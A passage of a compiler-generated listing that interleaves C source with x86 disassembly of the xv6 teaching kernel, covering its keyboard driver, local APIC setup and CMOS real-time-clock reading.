uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102501: ba 64 00 00 00 mov $0x64,%edx 80102506: 89 e5 mov %esp,%ebp 80102508: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 80102509: a8 01 test $0x1,%al 8010250b: 0f 84 af 00 00 00 je 801025c0 <kbdgetc+0xc0> 80102511: ba 60 00 00 00 mov $0x60,%edx 80102516: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102517: 0f b6 d0 movzbl %al,%edx if(data == 0xE0){ 8010251a: 81 fa e0 00 00 00 cmp $0xe0,%edx 80102520: 74 7e je 801025a0 <kbdgetc+0xa0> shift |= E0ESC; return 0; } else if(data & 0x80){ 80102522: 84 c0 test %al,%al // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102524: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx data = inb(KBDATAP); if(data == 0xE0){ shift |= E0ESC; return 0; } else if(data & 0x80){ 8010252a: 79 24 jns 80102550 <kbdgetc+0x50> // Key released data = (shift & E0ESC ? data : data & 0x7F); 8010252c: f6 c1 40 test $0x40,%cl 8010252f: 75 05 jne 80102536 <kbdgetc+0x36> 80102531: 89 c2 mov %eax,%edx 80102533: 83 e2 7f and $0x7f,%edx shift &= ~(shiftcode[data] | E0ESC); 80102536: 0f b6 82 c0 72 10 80 movzbl -0x7fef8d40(%edx),%eax 8010253d: 83 c8 40 or $0x40,%eax 80102540: 0f b6 c0 movzbl %al,%eax 80102543: f7 d0 not %eax 80102545: 21 c8 and %ecx,%eax 80102547: a3 b4 a5 10 80 mov %eax,0x8010a5b4 return 0; 8010254c: 31 c0 xor %eax,%eax c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 8010254e: 5d pop %ebp 8010254f: c3 ret } else if(data & 0x80){ // Key released data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ 80102550: f6 c1 40 test $0x40,%cl 80102553: 74 09 je 8010255e <kbdgetc+0x5e> // Last character was an E0 escape; or with 0x80 data |= 0x80; 80102555: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 80102558: 83 e1 bf and $0xffffffbf,%ecx data = (shift & E0ESC ? data : data & 0x7F); shift &= ~(shiftcode[data] | E0ESC); return 0; } else if(shift & E0ESC){ // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010255b: 0f b6 d0 movzbl %al,%edx shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; 8010255e: 0f b6 82 c0 72 10 80 movzbl -0x7fef8d40(%edx),%eax 80102565: 09 c1 or %eax,%ecx 80102567: 0f b6 82 c0 71 10 80 movzbl -0x7fef8e40(%edx),%eax 8010256e: 31 c1 xor %eax,%ecx c = charcode[shift & (CTL | SHIFT)][data]; 80102570: 89 c8 mov %ecx,%eax data |= 0x80; shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; 80102572: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4 c = charcode[shift & (CTL | SHIFT)][data]; 80102578: 83 e0 03 and $0x3,%eax if(shift & CAPSLOCK){ 8010257b: 83 e1 08 and $0x8,%ecx shift &= ~E0ESC; } shift |= shiftcode[data]; shift ^= togglecode[data]; c = charcode[shift & (CTL | SHIFT)][data]; 8010257e: 8b 04 85 a0 71 10 80 mov -0x7fef8e60(,%eax,4),%eax 80102585: 0f b6 04 10 movzbl (%eax,%edx,1),%eax if(shift & CAPSLOCK){ 80102589: 74 c3 je 8010254e <kbdgetc+0x4e> if('a' <= c && c <= 'z') 8010258b: 8d 50 9f lea -0x61(%eax),%edx 8010258e: 83 fa 19 cmp $0x19,%edx 80102591: 77 1d ja 801025b0 <kbdgetc+0xb0> c += 'A' - 'a'; 80102593: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 80102596: 5d pop %ebp 80102597: c3 ret 80102598: 90 nop 80102599: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; data = inb(KBDATAP); if(data == 0xE0){ shift |= E0ESC; return 0; 801025a0: 31 c0 xor %eax,%eax if((st & KBS_DIB) == 0) return -1; data = inb(KBDATAP); if(data == 0xE0){ shift |= E0ESC; 801025a2: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4 c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025a9: 5d pop %ebp 801025aa: c3 ret 801025ab: 90 nop 801025ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift ^= togglecode[data]; c = charcode[shift & (CTL | SHIFT)][data]; if(shift & CAPSLOCK){ if('a' <= c && c <= 'z') c += 'A' - 'a'; else if('A' <= c && c <= 'Z') 801025b0: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025b3: 8d 50 20 lea 0x20(%eax),%edx } return c; } 801025b6: 5d pop %ebp c = charcode[shift & (CTL | SHIFT)][data]; if(shift & CAPSLOCK){ if('a' <= c && c <= 'z') c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; 801025b7: 83 f9 19 cmp $0x19,%ecx 801025ba: 0f 46 c2 cmovbe %edx,%eax } return c; } 801025bd: c3 ret 801025be: 66 90 xchg %ax,%ax }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) return -1; 801025c0: b8 ff ff ff ff mov $0xffffffff,%eax c += 'A' - 'a'; else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025c5: 5d pop %ebp 801025c6: c3 ret 801025c7: 89 f6 mov %esi,%esi 801025c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801025d0 <kbdintr>: void kbdintr(void) { 801025d0: 55 push %ebp 801025d1: 89 e5 mov %esp,%ebp 801025d3: 83 ec 14 sub $0x14,%esp consoleintr(kbdgetc); 801025d6: 68 00 25 10 80 push $0x80102500 801025db: e8 10 e2 ff ff call 801007f0 <consoleintr> } 801025e0: 83 c4 10 add $0x10,%esp 801025e3: c9 leave 801025e4: c3 ret 801025e5: 66 90 xchg %ax,%ax 801025e7: 66 90 xchg %ax,%ax 801025e9: 66 90 xchg %ax,%ax 801025eb: 66 90 xchg %ax,%ax 801025ed: 66 90 xchg %ax,%ax 801025ef: 90 nop 801025f0 <lapicinit>: } void lapicinit(void) { if(!lapic) 801025f0: a1 9c 26 11 80 mov 0x8011269c,%eax lapic[ID]; // wait for write to finish, by reading } void lapicinit(void) { 801025f5: 55 push %ebp 801025f6: 89 e5 mov %esp,%ebp if(!lapic) 801025f8: 85 c0 test %eax,%eax 801025fa: 0f 84 c8 00 00 00 je 801026c8 <lapicinit+0xd8> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102600: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102607: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010260a: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010260d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102614: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102617: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010261a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 80102621: 00 02 00 lapic[ID]; // wait for write to finish, by reading 80102624: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102627: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 8010262e: 96 98 00 lapic[ID]; // wait for write to finish, by reading 80102631: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102634: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 8010263b: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010263e: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102641: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 80102648: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010264b: 8b 50 20 mov 0x20(%eax),%edx lapicw(LINT0, MASKED); lapicw(LINT1, MASKED); // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 8010264e: 8b 50 30 mov 0x30(%eax),%edx 80102651: c1 ea 10 shr $0x10,%edx 80102654: 80 fa 03 cmp $0x3,%dl 80102657: 77 77 ja 801026d0 <lapicinit+0xe0> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102659: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 80102660: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102663: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102666: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 8010266d: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102670: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102673: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 8010267a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010267d: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102680: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102687: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010268a: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010268d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 80102694: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102697: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010269a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 801026a1: 85 08 00 lapic[ID]; // wait for write to finish, by reading 801026a4: 8b 50 20 mov 0x20(%eax),%edx 801026a7: 89 f6 mov %esi,%esi 801026a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapicw(EOI, 0); // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); lapicw(ICRLO, BCAST | INIT | LEVEL); while(lapic[ICRLO] & DELIVS) 801026b0: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 801026b6: 80 e6 10 and $0x10,%dh 801026b9: 75 f5 jne 801026b0 <lapicinit+0xc0> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026bb: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 801026c2: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026c5: 8b 40 20 mov 0x20(%eax),%eax while(lapic[ICRLO] & DELIVS) ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 801026c8: 5d pop %ebp 801026c9: c3 ret 801026ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801026d0: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 801026d7: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026da: 8b 50 20 mov 0x20(%eax),%edx 801026dd: e9 77 ff ff ff jmp 80102659 <lapicinit+0x69> 801026e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801026e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801026f0 <lapicid>: } int lapicid(void) { if (!lapic) 801026f0: a1 9c 26 11 80 mov 0x8011269c,%eax lapicw(TPR, 0); } int lapicid(void) { 801026f5: 55 push %ebp 801026f6: 89 e5 mov %esp,%ebp if (!lapic) 801026f8: 85 c0 test %eax,%eax 801026fa: 74 0c je 80102708 <lapicid+0x18> return 0; return lapic[ID] >> 24; 801026fc: 8b 40 20 mov 0x20(%eax),%eax } 801026ff: 5d pop %ebp int lapicid(void) { if (!lapic) return 0; return lapic[ID] >> 24; 80102700: c1 e8 18 shr $0x18,%eax } 80102703: c3 ret 80102704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int lapicid(void) { if (!lapic) return 0; 80102708: 31 c0 xor %eax,%eax return lapic[ID] >> 24; } 8010270a: 5d pop %ebp 8010270b: c3 ret 8010270c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102710 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { if(lapic) 80102710: a1 9c 26 11 80 mov 0x8011269c,%eax } // Acknowledge interrupt. void lapiceoi(void) { 80102715: 55 push %ebp 80102716: 89 e5 mov %esp,%ebp if(lapic) 80102718: 85 c0 test %eax,%eax 8010271a: 74 0d je 80102729 <lapiceoi+0x19> //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010271c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102723: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102726: 8b 40 20 mov 0x20(%eax),%eax void lapiceoi(void) { if(lapic) lapicw(EOI, 0); } 80102729: 5d pop %ebp 8010272a: c3 ret 8010272b: 90 nop 8010272c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102730 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 80102730: 55 push %ebp 80102731: 89 e5 mov %esp,%ebp } 80102733: 5d pop %ebp 80102734: c3 ret 80102735: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102740 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 80102740: 55 push %ebp } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102741: ba 70 00 00 00 mov $0x70,%edx 80102746: b8 0f 00 00 00 mov $0xf,%eax 8010274b: 89 e5 mov %esp,%ebp 8010274d: 53 push %ebx 8010274e: 8b 4d 0c mov 0xc(%ebp),%ecx 80102751: 8b 5d 08 mov 0x8(%ebp),%ebx 80102754: ee out %al,(%dx) 80102755: ba 71 00 00 00 mov $0x71,%edx 8010275a: b8 0a 00 00 00 mov $0xa,%eax 8010275f: ee out %al,(%dx) // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 80102760: 31 c0 xor %eax,%eax //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102762: c1 e3 18 shl $0x18,%ebx // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 80102765: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 8010276b: 89 c8 mov %ecx,%eax // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 8010276d: c1 e9 0c shr $0xc,%ecx // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; wrv[1] = addr >> 4; 80102770: c1 e8 04 shr $0x4,%eax //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102773: 89 da mov %ebx,%edx // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 80102775: 80 cd 06 or $0x6,%ch // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; wrv[1] = addr >> 4; 80102778: 66 a3 69 04 00 80 mov %ax,0x80000469 //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010277e: a1 9c 26 11 80 mov 0x8011269c,%eax 80102783: 89 98 10 03 00 00 mov %ebx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102789: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 8010278c: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 80102793: c5 00 00 lapic[ID]; // wait for write to finish, by reading 80102796: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 80102799: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 801027a0: 85 00 00 lapic[ID]; // wait for write to finish, by reading 801027a3: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027a6: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027ac: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027af: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 801027b5: 8b 58 20 mov 0x20(%eax),%ebx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027b8: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027be: 8b 50 20 mov 0x20(%eax),%edx //PAGEBREAK! static void lapicw(int index, int value) { lapic[index] = value; 801027c1: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 801027c7: 8b 40 20 mov 0x20(%eax),%eax for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); microdelay(200); } } 801027ca: 5b pop %ebx 801027cb: 5d pop %ebp 801027cc: c3 ret 801027cd: 8d 76 00 lea 0x0(%esi),%esi 801027d0 <cmostime>: } // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 801027d0: 55 push %ebp 801027d1: ba 70 00 00 00 mov $0x70,%edx 801027d6: b8 0b 00 00 00 mov $0xb,%eax 801027db: 89 e5 mov %esp,%ebp 801027dd: 57 push %edi 801027de: 56 push %esi 801027df: 53 push %ebx 801027e0: 83 ec 4c sub $0x4c,%esp 801027e3: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801027e4: ba 71 00 00 00 mov $0x71,%edx 801027e9: ec in (%dx),%al 801027ea: 83 e0 04 and $0x4,%eax 801027ed: 8d 75 d0 lea -0x30(%ebp),%esi } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801027f0: 31 db xor %ebx,%ebx 801027f2: 88 45 b7 mov %al,-0x49(%ebp) 801027f5: bf 70 00 00 00 mov $0x70,%edi 801027fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102800: 89 d8 mov %ebx,%eax 80102802: 89 fa mov %edi,%edx 80102804: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102805: b9 71 00 00 00 mov $0x71,%ecx 8010280a: 89 ca mov %ecx,%edx 8010280c: ec in (%dx),%al } static void fill_rtcdate(struct rtcdate *r) { r->second = cmos_read(SECS); 8010280d: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102810: 89 fa mov %edi,%edx 80102812: 89 45 b8 mov %eax,-0x48(%ebp) 80102815: b8 02 00 00 00 mov $0x2,%eax 8010281a: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010281b: 89 ca mov %ecx,%edx 8010281d: ec in (%dx),%al r->minute = cmos_read(MINS); 8010281e: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102821: 89 fa mov %edi,%edx 80102823: 89 45 bc mov %eax,-0x44(%ebp) 80102826: b8 04 00 00 00 mov $0x4,%eax 8010282b: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010282c: 89 ca mov %ecx,%edx 8010282e: ec in (%dx),%al r->hour = cmos_read(HOURS); 8010282f: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102832: 89 fa mov %edi,%edx 80102834: 89 45 c0 mov %eax,-0x40(%ebp) 80102837: b8 07 00 00 00 mov $0x7,%eax 8010283c: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010283d: 89 ca mov %ecx,%edx 8010283f: ec in (%dx),%al r->day = cmos_read(DAY); 80102840: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102843: 89 fa mov %edi,%edx 80102845: 89 45 c4 mov %eax,-0x3c(%ebp) 80102848: b8 08 00 00 00 mov $0x8,%eax 8010284d: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010284e: 89 ca mov %ecx,%edx 80102850: ec in (%dx),%al r->month = cmos_read(MONTH); 80102851: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102854: 89 fa mov %edi,%edx 80102856: 89 45 c8 mov %eax,-0x38(%ebp) 80102859: b8 09 00 00 00 mov $0x9,%eax 8010285e: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010285f: 89 ca mov %ecx,%edx 80102861: ec in (%dx),%al r->year = cmos_read(YEAR); 80102862: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102865: 89 fa mov %edi,%edx 80102867: 89 45 cc mov %eax,-0x34(%ebp) 8010286a: b8 0a 00 00 00 mov $0xa,%eax 8010286f: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102870: 89 ca mov %ecx,%edx 80102872: ec in (%dx),%al bcd = (sb & (1 << 2)) == 0; // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102873: 84 c0 test %al,%al 80102875: 78 89 js 80102800 <cmostime+0x30> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102877: 89 d8 mov %ebx,%eax 80102879: 89 fa mov %edi,%edx 8010287b: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010287c: 89 ca mov %ecx,%edx 8010287e: ec in (%dx),%al } static void fill_rtcdate(struct rtcdate *r) { r->second = cmos_read(SECS); 8010287f: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102882: 89 fa mov %edi,%edx 80102884: 89 45 d0 mov %eax,-0x30(%ebp) 80102887: b8 02 00 00 00 mov $0x2,%eax 8010288c: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010288d: 89 ca mov %ecx,%edx 8010288f: ec in (%dx),%al r->minute = cmos_read(MINS); 80102890: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102893: 89 fa mov %edi,%edx 80102895: 89 45 d4 mov %eax,-0x2c(%ebp) 80102898: b8 04 00 00 00 mov $0x4,%eax 8010289d: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010289e: 89 ca mov %ecx,%edx 801028a0: ec in (%dx),%al r->hour = cmos_read(HOURS); 801028a1: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028a4: 89 fa mov %edi,%edx 801028a6: 89 45 d8 mov %eax,-0x28(%ebp) 801028a9: b8 07 00 00 00 mov $0x7,%eax 801028ae: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028af: 89 ca mov %ecx,%edx 801028b1: ec in (%dx),%al r->day = cmos_read(DAY); 801028b2: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028b5: 89 fa mov %edi,%edx 801028b7: 89 45 dc mov %eax,-0x24(%ebp) 801028ba: b8 08 00 00 00 mov $0x8,%eax 801028bf: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028c0: 89 ca mov %ecx,%edx 801028c2: ec in (%dx),%al r->month = cmos_read(MONTH); 801028c3: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028c6: 89 fa mov %edi,%edx 801028c8: 89 45 e0 mov %eax,-0x20(%ebp) 801028cb: b8 09 00 00 00 mov $0x9,%eax 801028d0: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028d1: 89 ca mov %ecx,%edx 801028d3: ec in (%dx),%al r->year = cmos_read(YEAR); 801028d4: 0f b6 c0 movzbl %al,%eax for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 801028d7: 83 ec 04 sub $0x4,%esp r->second = cmos_read(SECS); r->minute = cmos_read(MINS); r->hour = cmos_read(HOURS); r->day = cmos_read(DAY); r->month = cmos_read(MONTH); r->year = cmos_read(YEAR); 801028da: 89 45 e4 mov %eax,-0x1c(%ebp) for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 801028dd: 8d 45 b8 lea -0x48(%ebp),%eax 801028e0: 6a 18 push $0x18 801028e2: 56 push %esi 801028e3: 50 push %eax 801028e4: e8 a7 1b 00 00 call 80104490 <memcmp> 801028e9: 83 c4 10 add $0x10,%esp 801028ec: 85 c0 test %eax,%eax 801028ee: 0f 85 0c ff ff ff jne 80102800 <cmostime+0x30> break; } // convert if(bcd) { 801028f4: 80 7d b7 00 cmpb $0x0,-0x49(%ebp) 801028f8: 75 78 jne 80102972 <cmostime+0x1a2> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 801028fa: 8b 45 b8 mov -0x48(%ebp),%eax 801028fd: 89 c2 mov %eax,%edx 801028ff: 83 e0 0f and $0xf,%eax 80102902: c1 ea 04 shr $0x4,%edx 80102905: 8d 14 92 lea (%edx,%edx,4),%edx 80102908: 8d 04 50 lea (%eax,%edx,2),%eax 8010290b: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 8010290e: 8b 45 bc mov -0x44(%ebp),%eax 80102911: 89 c2 mov %eax,%edx 80102913: 83 e0 0f and $0xf,%eax 80102916: c1 ea 04 shr $0x4,%edx 80102919: 8d 14 92 lea (%edx,%edx,4),%edx 8010291c: 8d 04 50 lea (%eax,%edx,2),%eax 8010291f: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 80102922: 8b 45 c0 mov -0x40(%ebp),%eax 80102925: 89 c2 mov %eax,%edx 80102927: 83 e0 0f and $0xf,%eax 8010292a: c1 ea 04 shr $0x4,%edx 8010292d: 8d 14 92 lea (%edx,%edx,4),%edx 80102930: 8d 04 50 lea (%eax,%edx,2),%eax 80102933: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 80102936: 8b 45 c4 mov -0x3c(%ebp),%eax 80102939: 89 c2 mov %eax,%edx 8010293b: 83 e0 0f and $0xf,%eax 8010293e: c1 ea 04 shr $0x4,%edx 80102941: 8d 14 92 lea (%edx,%edx,4),%edx 80102944: 8d 04 50 lea (%eax,%edx,2),%eax 80102947: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 8010294a: 8b 45 c8 mov -0x38(%ebp),%eax 8010294d: 89 c2 mov %eax,%edx 8010294f: 83 e0 0f and $0xf,%eax 80102952: c1 ea 04 shr $0x4,%edx 80102955: 8d 14 92 lea 